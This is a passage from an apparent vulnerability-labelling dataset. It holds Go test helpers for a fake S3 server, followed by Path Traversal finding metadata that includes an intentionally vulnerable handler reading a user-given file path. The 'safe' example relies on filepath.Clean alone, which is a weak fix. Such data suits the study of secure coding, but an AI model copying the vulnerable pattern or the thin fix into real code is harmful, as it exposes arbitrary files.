default)\")\n\tflag.Parse()\n\n\tvar logOutput *os.File\n\tvar err error\n\n\tif logFile == \"\" {\n\t\tlogOutput, err = ioutil.TempFile(\"\", \"gofakes3-*.log\")\n\t} else {\n\t\tlogOutput, err = os.Create(logFile)\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer logOutput.Close()\n\n\tfmt.Fprintf(os.Stderr, \"log output redirected to %q\\n\", logOutput.Name())\n\tlog.SetOutput(logOutput)\n\n\tif code := m.Run(); code > 0 {\n\t\treturn errCode(code)\n\t}\n\treturn nil\n}\n\ntype errCode int\n\nfunc (e errCode) Error() string { return fmt.Sprintf(\"exit code %d\", e) }\n\n// lsItems is used by testServer and testCLI to represent the result of a\n// bucket list operation.\ntype lsItems []lsItem\n\nfunc (cl lsItems) assertContents(tt gofakes3.TT, dirs []string, files []string) {\n\ttt.Helper()\n\tcl.assertFiles(tt, files...)\n\tcl.assertDirs(tt, dirs...)\n}\n\nfunc (cl lsItems) assertDirs(tt gofakes3.TT, names ...string) {\n\ttt.Helper()\n\tcl.assertItems(tt, true, names...)\n}\n\nfunc (cl lsItems) assertFiles(tt gofakes3.TT, names ...string) {\n\ttt.Helper()\n\tcl.assertItems(tt, false, names...)\n}\n\nfunc (cl lsItems) assertItems(tt gofakes3.TT, isDir bool, names ...string) {\n\ttt.Helper()\n\tvar found []string\n\tfor _, item := range cl {\n\t\tif item.isDir == isDir {\n\t\t\tfound = append(found, item.name)\n\t\t}\n\t}\n\tsort.Strings(found)\n\tsort.Strings(names)\n\tif !reflect.DeepEqual(found, names) {\n\t\ttt.Fatalf(\"items:\\nexp: %v\\ngot: %v\", names, found)\n\t}\n}\n\ntype lsItem struct {\n\tname string\n\tdate time.Time\n\tsize int64\n\tisDir bool\n}\n\ntype testServer struct {\n\tgofakes3.TT\n\tgofakes3.TimeSourceAdvancer\n\t*gofakes3.GoFakeS3\n\n\tbackend gofakes3.Backend\n\tversioned gofakes3.VersionedBackend\n\tserver *httptest.Server\n\toptions []gofakes3.Option\n\n\t// if this is nil, no buckets are created. by default, a starting bucket is\n\t// created using the value of the 'defaultBucket' constant.\n\tinitialBuckets []string\n\tversioning bool\n}\n\ntype testServerOption func(ts *testServer)\n\nfunc withoutInitialBuckets() testServerOption {\n\treturn func(ts *testServer) { ts.initialBuckets = nil }\n}\nfunc withInitialBuckets(buckets ...string) testServerOption {\n\treturn func(ts *testServer) { ts.initialBuckets = buckets }\n}\nfunc withVersioning() testServerOption {\n\treturn func(ts *testServer) { ts.versioning = true }\n}\nfunc withFakerOptions(opts ...gofakes3.Option) testServerOption {\n\treturn func(ts *testServer) { ts.options = opts }\n}\nfunc withBackend(backend gofakes3.Backend) testServerOption {\n\treturn func(ts *testServer) { ts.backend = backend }\n}\n\nfunc newTestServer(t *testing.T, opts ...testServerOption) *testServer {\n\tt.Helper()\n\tvar ts = testServer{\n\t\tTT: gofakes3.TT{t},\n\t\tinitialBuckets: []string{defaultBucket},\n\t}\n\tfor _, o := range opts {\n\t\to(&ts)\n\t}\n\n\tif ts.backend == nil {\n\t\tif ts.TimeSourceAdvancer == nil {\n\t\t\tts.TimeSourceAdvancer = gofakes3.FixedTimeSource(defaultDate)\n\t\t}\n\t\tts.backend = s3mem.New(\n\t\t\ts3mem.WithTimeSource(ts.TimeSourceAdvancer),\n\t\t\ts3mem.WithVersionSeed(0))\n\t}\n\n\tfakerOpts := []gofakes3.Option{\n\t\tgofakes3.WithTimeSource(ts.TimeSourceAdvancer),\n\t\tgofakes3.WithTimeSkewLimit(0),\n\n\t\t// TestMain wires the stdlib's global logger up to a file already,\n\t\t// which this takes advantage of:\n\t\tgofakes3.WithGlobalLog(),\n\t}\n\tfakerOpts = append(fakerOpts, ts.options...)\n\n\tts.GoFakeS3 = gofakes3.New(ts.backend, fakerOpts...)\n\tts.server = httptest.NewServer(ts.GoFakeS3.Server())\n\n\tfor _, bucket := range ts.initialBuckets {\n\t\tts.TT.OK(ts.backend.CreateBucket(bucket))\n\t}\n\n\tif ts.versioning {\n\t\tmem, ok := ts.backend.(*s3mem.Backend)\n\t\tif !ok {\n\t\t\tpanic(\"backend is not a versioned backend\")\n\t\t}\n\t\tts.versioned = mem\n\t\tfor _, bucket := range ts.initialBuckets {\n\t\t\tts.TT.OK(ts.versioned.SetVersioningConfiguration(bucket, gofakes3.VersioningConfiguration{\n\t\t\t\tStatus: gofakes3.VersioningEnabled,\n\t\t\t}))\n\t\t}\n\t}\n\n\treturn &ts\n}\n\nfunc (ts *testServer) url(url string) string {\n\treturn fmt.Sprintf(\"%s/%s\", ts.server.URL, strings.TrimLeft(url, \"/\"))\n}\n\nfunc (ts *testServer) backendCreateBucket(bucket string) {\n\tts.Helper()\n\tif err := ts.backend.CreateBucket(bucket); err != nil {\n\t\tts.Fatal(\"create bucket failed\", err)\n\t}\n}\n\nfunc (ts *testServer) backendObjectExists(bucket, key string) bool {\n\tts.Helper()\n\tobj, err := ts.backend.HeadObject(bucket, key)\n\tif err != nil {\n\t\tif hasErrorCode(err, gofakes3.ErrNoSuchKey) {\n\t\t\treturn false\n\t\t} else {\n\t\t\tts.Fatal(err)\n\t\t}\n\t}\n\treturn obj != nil\n}\n\nfunc (ts *testServer) backendPutString(bucket, key string, meta map[string]string, in string) {\n\tts.Helper()\n\tts.OKAll(ts.backend.PutObject(bucket, key, meta, strings.NewReader(in), int64(len(in))))\n}\n\nfunc (ts *testServer) backendPutBytes(bucket, key string, meta map[string]string, in []byte) {\n\tts.Helper()\n\tts.OKAll(ts.backend.PutObject(bucket, key, meta, bytes.NewReader(in), int64(len(in))))\n}\n\nfunc (ts *testServer) backendGetString(bucket, key string, rnge *gofakes3.ObjectRangeRequest) string {\n\tts.Helper()\n\tobj, err := ts.backend.GetObject(bucket, key, rnge)\n\tts.OK(err)\n\n\tdefer obj.Contents.Close()\n\tdata, err := ioutil.ReadAll(obj.Contents)\n\tts.OK(err)\n\n\treturn string(data)\n}\n\nfunc (ts *testServer) s3Client() *s3.S3 {\n\tts.Helper()\n\tconfig := aws.NewConfig()\n\tconfig.WithEndpoint(ts.server.URL)\n\tconfig.WithRegion(\"region\")\n\tconfig.WithCredentials(credentials.NewStaticCredentials(\"dummy-access\", \"dummy-secret\", \"\"))\n\tconfig.WithS3ForcePathStyle(true) // Removes need for subdomain\n\tsvc := s3.New(session.New(), config)\n\treturn svc\n}\n\nfunc (ts *testServer) assertLs(bucket string, prefix string, expectedPrefixes []string, expectedObjects []string) {\n\tts.Helper()\n\n\tclient := ts.s3Client()\n\trs, err := client.ListObjects(&s3.ListObjectsInput{\n\t\tBucket: aws.String(bucket),\n\t\tDelimiter: aws.String(\"/\"),\n\t\tPrefix: aws.String(prefix),\n\t})\n\tts.OK(err)\n\n\tvar ls lsItems\n\tfor _, item := range rs.CommonPrefixes {\n\t\tls = append(ls, lsItem{name: *item.Prefix, isDir: true})\n\t}\n\tfor _, item := range rs.Contents {\n\t\tls = append(ls, lsItem{name: *item.Key, date: *item.LastModified, size: *item.Size})\n\t}\n\n\tls.assertContents(ts.TT, expectedPrefixes, expectedObjects)\n}\n\nfunc (ts *testServer) rawClient() *rawClient {\n\treturn newRawClient(httpClient(), ts.server.URL)\n}\n\ntype multipartUploadOptions struct {\n\tpartSize int64\n}\n\nfunc (ts *testServer) assertMultipartUpload(bucket, object string, body interface{}, options *multipartUploadOptions) {\n\tts.Helper()\n\n\tif options == nil {\n\t\toptions = &multipartUploadOptions{}\n\t}\n\tif options.partSize <= 0 {\n\t\toptions.partSize = defaultUploadPartSize\n\t}\n\n\ts3 := ts.s3Client()\n\tuploader := s3manager.NewUploaderWithClient(s3)\n\n\tcontents := readBody(ts.TT, body)\n\tupParams := &s3manager.UploadInput{\n\t\tBucket: aws.String(bucket),\n\t\tKey: aws.String(object),\n\t\tBody: bytes.NewReader(contents),\n\t\tContentMD5: aws.String(hashMD5Bytes(contents).Base64()),\n\t}\n\n\tout, err := uploader.Upload(upParams, func(u *s3manager.Uploader) {\n\t\tu.LeavePartsOnError = true\n\t\tu.PartSize = options.partSize\n\t})\n\tts.OK(err)\n\t_ = out\n\n\tts.assertObject(bucket, object, nil, body)\n}\n\nfunc (ts *testServer) createMultipartUpload(bucket, object string, meta map[string]string) (uploadID string) {\n\tts.Helper()\n\n\tsvc := ts.s3Client()\n\tmpu, err := svc.CreateMultipartUpload(&s3.CreateMultipartUploadInput{\n\t\tBucket: aws.String(bucket),\n\t\tKey: aws.String(object),\n\t})\n\tts.OK(err)\n\treturn *mpu.UploadId\n}\n\nfunc (ts *testServer) uploadPart(bucket, object string, uploadID string, num int64, body []byte) *s3.CompletedPart {\n\tts.Helper()\n\n\thash := hashMD5Bytes(body)\n\tsvc := ts.s3Client()\n\tmpu, err := svc.UploadPart(&s3.UploadPartInput{\n\t\tBucket: aws.String(bucket),\n\t\tKey: aws.String(object),\n\t\tBody: bytes.NewReader(body),\n\t\tUploadId: aws.String(uploadID),\n\t\tPartNumber: aws.Int64(num),\n\t\tContentMD5: aws.String(hash.Base64()),\n\t})\n\tts.OK(err)\n\treturn &s3.CompletedPart{ETag: aws.String(*mpu.ETag), PartNumber: aws.Int64(num)}\n}\n\nfunc (ts *testServer) assertCompleteUpload(bucket, object, uploadID string, parts []*s3.CompletedPart, body interface{}) {\n\tts.Helper()\n\n\tsvc := ts.s3Client()\n\tmpu, err := svc.CompleteMultipartUpload(&s3.CompleteMultipartUploadInput{\n\t\tBucket: aws.String(bucket),\n\t\tKey: aws.String(object),\n\t\tUploadId: aws.String(uploadID),\n\t\tMultipartUpload: &s3.CompletedMultipartUpload{\n\t\t\tParts: parts,\n\t\t},\n\t})\n\tts.OK(err)\n\t_ = mpu // FIXME: assert some of this\n\n\tts.assertObject(bucket, object, nil, body)\n}\n\nfunc (ts *testServer) assertAbortMultipartUpload(bucket, object string, uploadID gofakes3.UploadID) {\n\tts.Helper()\n\n\tsvc := ts.s3Client()\n\trs, err := svc.AbortMultipartUpload(&s3.AbortMultipartUploadInput{\n\t\tBucket: aws.String(bucket),\n\t\tKey: aws.String(object),\n\t\tUploadId: aws.String(string(uploadID)),\n\t})\n\tts.OK(err)\n\t_ = rs\n\n\t{ // FIXME: Currently, the only way to sanity check this using the HTTP API\n\t\t// is to try to list the parts, which should indicate if the upload was\n\t\t// successfully removed. Once the upload API becomes a first class\n\t\t// citizen, we should be able to call it directly.\n\t\trs, err := svc.ListParts(&s3.ListPartsInput{\n\t\t\tBucket: aws.String(bucket),\n\t\t\tKey: aws.String(object),\n\t\t\tUploadId: aws.String(string(uploadID)),\n\t\t})\n\t\t_ = rs\n\t\tif awsErr, ok := err.(awserr.Error); ok && awsErr.Code() == string(gofakes3.ErrNoSuchUpload) {\n\t\t\treturn\n\t\t}\n\t\tts.Fatal(\"expected NotFound error, found\", err)\n\t}\n}\n\ntype listUploadPartsOpts struct {\n\tPrefix *gofakes3.Prefix\n\tMarker int64\n\tLimit int64\n\n\t// Supports s3.CompletedPart or s3.Part:\n\tParts []interface{}\n}\n\nfunc (opts listUploadPartsOpts) withCompletedParts(parts ...*s3.CompletedPart) listUploadPartsOpts {\n\tfor _, p := range parts {\n\t\topts.Parts = append(opts.Parts, p)\n\t}\n\treturn opts\n}\n\nfunc (opts listUploadPartsOpts) input(bucket, object string, uploadID string) *s3.ListPartsInput {\n\trq := &s3.ListPartsInput{\n\t\tBucket: aws.String(bucket),\n\t\tKey: aws.String(object),\n\t\tUploadId: aws.String(uploadID),\n\t}\n\tif opts.Limit > 0 {\n\t\trq.MaxParts = aws.Int64(opts.Limit)\n\t}\n\tif opts.Marker > 0 {\n\t\trq.PartNumberMarker = aws.Int64(opts.Marker)\n\t}\n\treturn rq\n}\n\nfunc (ts *testServer) assertListUploadPartsFails(code gofakes3.ErrorCode, bucket, object string, uploadID string, opts listUploadPartsOpts) {\n\tts.Helper()\n\n\tsvc := ts.s3Client()\n\t_, err := svc.ListParts(opts.input(bucket, object, uploadID))\n\tif !hasErrorCode(err, code) {\n\t\tts.Fatal(\"expected\", code, \"found\", err)\n\t}\n}\n\nfunc (ts *testServer) assertListUploadParts(bucket, object string, uploadID string, opts listUploadPartsOpts) {\n\tts.Helper()\n\n\trq := opts.input(bucket, object, uploadID)\n\tsvc := ts.s3Client()\n\trs, err := svc.ListParts(rq)\n\tts.OK(err)\n\n\tif *rs.Bucket != bucket {\n\t\tts.Fatal(\"bucket mismatch:\", *rs.Bucket, \"!=\", bucket)\n\t}\n\tif *rs.Key != object {\n\t\tts.Fatal(\"object mismatch:\", *rs.Key, \"!=\", object)\n\t}\n\tif *rs.UploadId != uploadID {\n\t\tts.Fatal(\"upload mismatch:\", *rs.UploadId, \"!=\", uploadID)\n\t}\n\tif len(rs.Parts) != len(opts.Parts) {\n\t\tts.Fatal(\"parts mismatch:\", rs.Parts, \"!=\", opts.Parts)\n\t}\n\n\tfor idx, found := range rs.Parts {\n\t\tswitch expected := opts.Parts[idx].(type) {\n\t\tcase *s3.CompletedPart:\n\t\t\tif *expected.ETag != *found.ETag {\n\t\t\t\tts.Fatal(\"part\", idx, \"ETag mismatch:\", expected.ETag, \"!=\", found.ETag)\n\t\t\t}\n\t\t\tif *expected.PartNumber != *found.PartNumber {\n\t\t\t\tts.Fatal(\"part\", idx, \"PartNumber mismatch:\", expected.PartNumber, \"!=\", found.PartNumber)\n\t\t\t}\n\n\t\tcase *s3.Part:\n\t\t\tif !reflect.DeepEqual(expected, found) {\n\t\t\t\tts.Fatal(\"part\", idx, \"mismatch:\", expected, \"!=\", found)\n\t\t\t}\n\n\t\tdefault:\n\t\t\tts.Fatalf(\"unexpected type %T\", expected)\n\t\t}\n\t}\n}\n\ntype listUploadsOpts struct {\n\tPrefix *gofakes3.Prefix\n\tMarker string\n\tLimit int64\n\n\tPrefixes []string\n\tUploads []string\n}\n\n// assertListMultipartUploads\n//\n// If marker is not an empty string, it should be in the format \"[][/]\".\n// Each item in expectedUploads must be in the format \"/\".\nfunc (ts *testServer) assertListMultipartUploads(\n\tbucket string,\n\topts listUploadsOpts,\n) {\n\tts.Helper()\n\n\tsvc := ts.s3Client()\n\trq := &s3.ListMultipartUploadsInput{\n\t\tBucket: aws.String(bucket),\n\t\tMaxUploads: aws.Int64(opts.Limit),\n\t}\n\n\tvar expectedKeyMarker, expectedUploadIDMarker string\n\tif opts.Marker != \"\" {\n\t\tparts := strings.SplitN(opts.Marker, \"/\", 2)\n\t\texpectedKeyMarker = parts[0]\n\t\tif len(parts) == 2 {\n\t\t\texpectedUploadIDMarker = parts[1]\n\t\t}\n\t\trq.KeyMarker = aws.String(expectedKeyMarker)\n\t\trq.UploadIdMarker = aws.String(expectedUploadIDMarker)\n\t}\n\n\tvar expectedPrefix, expectedDelimiter string\n\tif opts.Prefix != nil {\n\t\trq.Prefix = aws.String(opts.Prefix.Prefix)\n\t\trq.Delimiter = aws.String(opts.Prefix.Delimiter)\n\t\texpectedPrefix, expectedDelimiter = opts.Prefix.Prefix, opts.Prefix.Delimiter\n\t}\n\n\trs, err := svc.ListMultipartUploads(rq)\n\tts.OK(err)\n\n\t{ // assert response fields match input\n\t\tvar foundPrefix, foundDelimiter, foundKeyMarker, foundUploadIDMarker string\n\t\tif rs.Delimiter != nil {\n\t\t\tfoundDelimiter = *rs.Delimiter\n\t\t}\n\t\tif rs.Prefix != nil {\n\t\t\tfoundPrefix = *rs.Prefix\n\t\t}\n\t\tif rs.KeyMarker != nil {\n\t\t\tfoundKeyMarker = *rs.KeyMarker\n\t\t}\n\t\tif rs.UploadIdMarker != nil {\n\t\t\tfoundUploadIDMarker = *rs.UploadIdMarker\n\t\t}\n\t\tif foundPrefix != expectedPrefix {\n\t\t\tts.Fatal(\"unexpected prefix\", foundPrefix, \"!=\", expectedPrefix)\n\t\t}\n\t\tif foundDelimiter != expectedDelimiter {\n\t\t\tts.Fatal(\"unexpected delimiter\", foundDelimiter, \"!=\", expectedDelimiter)\n\t\t}\n\t\tif foundKeyMarker != expectedKeyMarker {\n\t\t\tts.Fatal(\"unexpected key marker\", foundKeyMarker, \"!=\", expectedKeyMarker)\n\t\t}\n\t\tif foundUploadIDMarker != expectedUploadIDMarker {\n\t\t\tts.Fatal(\"unexpected upload ID marker\", foundUploadIDMarker, \"!=\", expectedUploadIDMarker)\n\t\t}\n\t\tvar foundUploads int64\n\t\tif rs.MaxUploads != nil {\n\t\t\tfoundUploads = *rs.MaxUploads\n\t\t}\n\t\tif opts.Limit > 0 && foundUploads != opts.Limit {\n\t\t\tts.Fatal(\"unexpected max uploads\", foundUploads, \"!=\", opts.Limit)\n\t\t}\n\t}\n\n\tvar foundUploads []string\n\tfor _, up := range rs.Uploads {\n\t\tfoundUploads = append(foundUploads, fmt.Sprintf(\"%s/%s\", *up.Key, *up.UploadId))\n\t}\n\n\tvar foundPrefixes []string\n\tfor _, cp := range rs.CommonPrefixes {\n\t\tfoundPrefixes = append(foundPrefixes, *cp.Prefix)\n\t}\n\n\tif !reflect.DeepEqual(foundPrefixes, opts.Prefixes) {\n\t\tts.Fatal(\"common prefix list mismatch:\", foundPrefixes, \"!=\", opts.Prefixes)\n\t}\n\tif !reflect.DeepEqual(foundUploads, opts.Uploads) {\n\t\tts.Fatal(\"upload list mismatch:\", foundUploads, \"!=\", opts.Uploads)\n\t}\n}\n\n// If meta is nil, the metadata is not checked.\n// If meta is map[string]string{}, it is checked against the empty map.\n//\n// If contents is a string, a []byte or an io.Reader, it is compared against\n// the object's contents, otherwise a panic occurs.\nfunc (ts *testServer) assertObject(bucket string, object string, meta map[string]string, contents interface{}) {\n\tts.Helper()\n\n\tobj, err := ts.backend.GetObject(bucket, object, nil)\n\tts.OK(err)\n\tdefer obj.Contents.Close()\n\n\tdata, err := gofakes3.ReadAll(obj.Contents, obj.Size)\n\tts.OK(err)\n\n\tif meta != nil {\n\t\tif !reflect.DeepEqual(meta, obj.Metadata) {\n\t\t\tts.Fatal(\"metadata mismatch:\", meta, \"!=\", obj.Metadata)\n\t\t}\n\t}\n\n\tcheckContents := readBody(ts.TT, contents)\n\tif !bytes.Equal(checkContents, data) {\n\t\tts.Fatal(\"data mismatch\") // FIXME: more detail\n\t}\n\n\tif int64(len(checkContents)) != obj.Size {\n\t\tts.Fatal(\"size mismatch:\", len(checkContents), \"!=\", obj.Size)\n\t}\n}\n\ntype listBucketResult struct {\n\tCommonPrefixes []*s3.CommonPrefix\n\tContents []*s3.Object\n}\n\nfunc (ts *testServer) mustListBucketV1Pages(prefix *gofakes3.Prefix, maxKeys int64, marker string) *listBucketResult {\n\tr, err := ts.listBucketV1Pages(prefix, maxKeys, marker)\n\tts.OK(err)\n\treturn r\n}\n\nfunc (ts *testServer) listBucketV1Pages(prefix *gofakes3.Prefix, maxKeys int64, marker string) (*listBucketResult, error) {\n\tconst pageLimit = 20\n\n\tsvc := ts.s3Client()\n\tpages := 0\n\tin := &s3.ListObjectsInput{\n\t\tBucket: aws.String(defaultBucket),\n\t\tMaxKeys: aws.Int64(maxKeys),\n\t}\n\tif prefix != nil && prefix.HasDelimiter {\n\t\tin.Delimiter = aws.String(prefix.Delimiter)\n\t}\n\tif prefix != nil && prefix.HasPrefix {\n\t\tin.Prefix = aws.String(prefix.Prefix)\n\t}\n\tif marker != \"\" {\n\t\tin.Marker = aws.String(marker)\n\t}\n\n\tvar rs listBucketResult\n\tif err := (svc.ListObjectsPages(in, func(out *s3.ListObjectsOutput, lastPage bool) bool {\n\t\tpages++\n\t\tif pages > pageLimit {\n\t\t\tpanic(\"stuck in a page loop\")\n\t\t}\n\t\trs.CommonPrefixes = append(rs.CommonPrefixes, out.CommonPrefixes...)\n\t\trs.Contents = append(rs.Contents, out.Contents...)\n\t\treturn !lastPage\n\t})); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &rs, nil\n}\n\nfunc (ts *testServer) mustListBucketV2Pages(prefix *gofakes3.Prefix, maxKeys int64, marker string) *listBucketResult {\n\tr, err := ts.listBucketV2Pages(prefix, maxKeys, marker)\n\tts.OK(err)\n\treturn r\n}\n\nfunc (ts *testServer) listBucketV2Pages(prefix *gofakes3.Prefix, maxKeys int64, startAfter string) (*listBucketResult, error) {\n\tconst pageLimit = 20\n\n\tsvc := ts.s3Client()\n\tpages := 0\n\tin := &s3.ListObjectsV2Input{\n\t\tBucket: aws.String(defaultBucket),\n\t\tMaxKeys: aws.Int64(maxKeys),\n\t}\n\tif prefix != nil && prefix.HasDelimiter {\n\t\tin.Delimiter = aws.String(prefix.Delimiter)\n\t}\n\tif prefix != nil && prefix.HasPrefix {\n\t\tin.Prefix = aws.String(prefix.Prefix)\n\t}\n\tif startAfter != \"\" {\n\t\tin.StartAfter = aws.String(startAfter)\n\t}\n\n\tvar rs listBucketResult\n\tif err := (svc.ListObjectsV2Pages(in, func(out *s3.ListObjectsV2Output, lastPage bool) bool {\n\t\tpages++\n\t\tif pages > pageLimit {\n\t\t\tpanic(\"stuck in a page loop\")\n\t\t}\n\t\trs.CommonPrefixes = append(rs.CommonPrefixes, out.CommonPrefixes...)\n\t\trs.Contents = append(rs.Contents, out.Contents...)\n\t\treturn !lastPage\n\t})); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &rs, nil\n}\n\nfunc (ts *testServer) Close() {\n\tts.server.Close()\n}\n\nfunc hashMD5Bytes(body []byte) hashValue {\n\th := md5.New()\n\th.Write(body)\n\treturn hashValue(h.Sum(nil))\n}\n\nfunc hashSHA256Bytes(body []byte) hashValue {\n\th := sha256.New()\n\th.Write(body)\n\treturn hashValue(h.Sum(nil))\n}\n\ntype hashValue []byte\n\nfunc (h hashValue) Base64() string { return base64.StdEncoding.EncodeToString(h) }\nfunc (h hashValue) Hex() string { return hex.EncodeToString(h) }\n\nvar (\n\trandState = uint64(time.Now().UnixNano()) // FIXME: global seedable testing rand\n\trandMu sync.Mutex\n)\n\nfunc randomFileBody(size int64) []byte {\n\trandMu.Lock()\n\tdefer randMu.Unlock()\n\n\tneat := size/8*8 + 8 // cheap and nasty way to ensure a multiple of 8 definitely greater than size\n\n\tb := make([]byte, neat)\n\n\t// Using the default source of randomness was extremely slow; this is a\n\t// simple inline implementation of http://xoshiro.di.unimi.it/splitmix64.c\n\t// as we *really* don't care about the quality of the randomness, just that\n\t// it appears random enough to distribute byte values a bit.\n\tfor i := int64(0); i < neat; i += 8 {\n\t\trandState += 0x9E3779B97F4A7C15\n\t\tz := randState\n\t\tz = (z ^ (z >> 30)) * 0xBF58476D1CE4E5B9\n\t\tz = (z ^ (z >> 27)) * 0x94D049BB133111EB\n\t\tb[i], b[i+1], b[i+2], b[i+3], b[i+4], b[i+5], b[i+6], b[i+7] =\n\t\t\tbyte(z), byte(z>>8), byte(z>>16), byte(z>>24), byte(z>>32), byte(z>>40), byte(z>>48), byte(z>>56)\n\t}\n\n\tb = b[:size]\n\treturn b\n}\n\nfunc readBody(tt gofakes3.TT, body interface{}) []byte {\n\tswitch body := body.(type) {\n\tcase nil:\n\t\treturn []byte{}\n\tcase string:\n\t\treturn []byte(body)\n\tcase []byte:\n\t\treturn body\n\tcase io.Reader:\n\t\tout, err := ioutil.ReadAll(body)\n\t\ttt.OK(err)\n\t\treturn out\n\tdefault:\n\t\tpanic(\"unexpected contents\")\n\t}\n}\n\nfunc prefixFile(prefix string) *gofakes3.Prefix {\n\treturn &gofakes3.Prefix{Delimiter: \"/\", Prefix: prefix}\n}\n\nfunc prefix(prefix string) *gofakes3.Prefix {\n\treturn &gofakes3.Prefix{Prefix: prefix}\n}\n\nfunc prefixDelim(prefix string, delim string) *gofakes3.Prefix {\n\treturn &gofakes3.Prefix{Prefix: prefix, Delimiter: delim}\n}\n\nfunc strs(s ...string) []string {\n\treturn s\n}\n\n// hasErrorCode is like gofakes3.HasErrorCode, but supports awserr.Error as\n// well, which we can't do directly in gofakes3 to avoid the dependency.\nfunc hasErrorCode(err error, code gofakes3.ErrorCode) bool {\n\tif awsErr, ok := err.(awserr.Error); ok {\n\t\treturn awsErr.Code() == string(code)\n\t} else {\n\t\treturn gofakes3.HasErrorCode(err, code)\n\t}\n}\n\nfunc httpClient() *http.Client {\n\treturn &http.Client{\n\t\tTimeout: 2 * time.Second,\n\t}\n}\n\ntype backendWithUnimplementedPaging struct {\n\tgofakes3.Backend\n}\n\nfunc (b *backendWithUnimplementedPaging) ListBucket(name string, prefix *gofakes3.Prefix, page gofakes3.ListBucketPage) (*gofakes3.ObjectList, error) {\n\tif !page.IsEmpty() {\n\t\treturn nil, gofakes3.ErrInternalPageNotImplemented\n\t}\n\treturn b.Backend.ListBucket(name, prefix, page)\n}\n\ntype rawClient struct {\n\tclient *http.Client\n\tbase *url.URL\n}\n\nfunc newRawClient(client *http.Client, base string) *rawClient {\n\tu, err := url.Parse(base)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn &rawClient{client: client, base: u}\n}\n\nfunc (c *rawClient) URL(rqpath string) *url.URL {\n\tu, err := url.Parse(c.base.String())\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tu.Path = path.Join(u.Path, rqpath)\n\treturn u\n}\n\nfunc (c *rawClient) Request(method, rqpath string, body []byte) *http.Request {\n\tu := c.URL(rqpath)\n\trq, err := http.NewRequest(method, u.String(), bytes.NewReader(body))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tc.SetHeaders(rq, body)\n\treturn rq\n}\n\nfunc (c *rawClient) SetHeaders(rq *http.Request, body []byte) {\n\t// NOTE: This was put together by using httputil.DumpRequest inside routeBase(). We\n\t// don't currently implement the Authorization header, so that has been skimmed for\n\t// now.\n\trq.Header.Set(\"Accept-Encoding\", \"gzip\")\n\trq.Header.Set(\"Authorization\", \"...\") // TODO\n\trq.Header.Set(\"Content-Length\", strconv.FormatInt(int64(len(body)), 10))\n\trq.Header.Set(\"Content-Md5\", hashMD5Bytes(body).Base64())\n\trq.Header.Set(\"User-Agent\", \"aws-sdk-go/1.17.4 (go1.14rc1; linux; amd64)\")\n\trq.Header.Set(\"X-Amz-Date\", time.Now().In(time.UTC).Format(\"20060102T030405-0700\"))\n\trq.Header.Set(\"X-Amz-Content-Sha256\", hashSHA256Bytes(body).Hex())\n}\n\n// SendRaw can be used to bypass Go's http client, which helps us out a lot by taking\n// care of some things for us, but which we actually want to test messing up from\n// time to time.\nfunc (c *rawClient) SendRaw(rq *http.Request) ([]byte, error) {\n\tb, err := httputil.DumpRequest(rq, true)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tconn, err := net.DialTimeout(\"tcp\", c.base.Host, 2*time.Second)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer conn.Close()\n\n\tdeadline := time.Now().Add(2 * time.Second)\n\tconn.SetDeadline(deadline)\n\tif _, err := conn.Write(b); err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar rs []byte\n\tvar scratch = make([]byte, 1024)\n\tfor {\n\t\tn, err := conn.Read(scratch)\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t} else if err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\trs = append(rs, scratch[:n]...)\n\t}\n\n\treturn rs, nil\n}\n\nfunc (c *rawClient) Do(rq *http.Request) (*http.Response, error) {\n\treturn c.client.Do(rq)\n}\n\nfunc maskReader(r io.Reader) io.Reader {\n\t// http.NewRequest() forces a ContentLength if it recognises\n\t// the type of reader you pass as the body. This is a cheeky\n\t// way to bypass that:\n\treturn &maskedReader{r}\n}\n\ntype maskedReader struct {\n\tinner io.Reader\n}\n\nfunc (r *maskedReader) Read(b []byte) (n int, err error) {\n\treturn r.inner.Read(b)\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 70, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "StringVar"}}, {"lineNo": 70, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 79, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "eb5a3cebde17c3a1dcd2c822c30525197b40de92f019f78c64babcc47933362e", "license": {"spdx": ["MIT"], "repo": "yvesago/yaramilter", "path": "cmd/yaracli.go", "repo_head_hexsha": "33e14794a442cf34fdf483539246a1809a9ced13", "stack_hexsha": "e8961ab7c330996ec12f41f791a0b7c076d9cf46", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 43, "entireCode": "package main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"github.com/jhillyerd/enmime\"\n\t\"log\"\n\t\"os\"\n)\n\nvar Version string\n\n\n/* main program */\nfunc main() {\n\tvar address, protocol, file string\n\tflag.StringVar(&address,\n\t\t\"addr\",\n\t\t\"127.0.0.1:8125\",\n\t\t\"Bind to 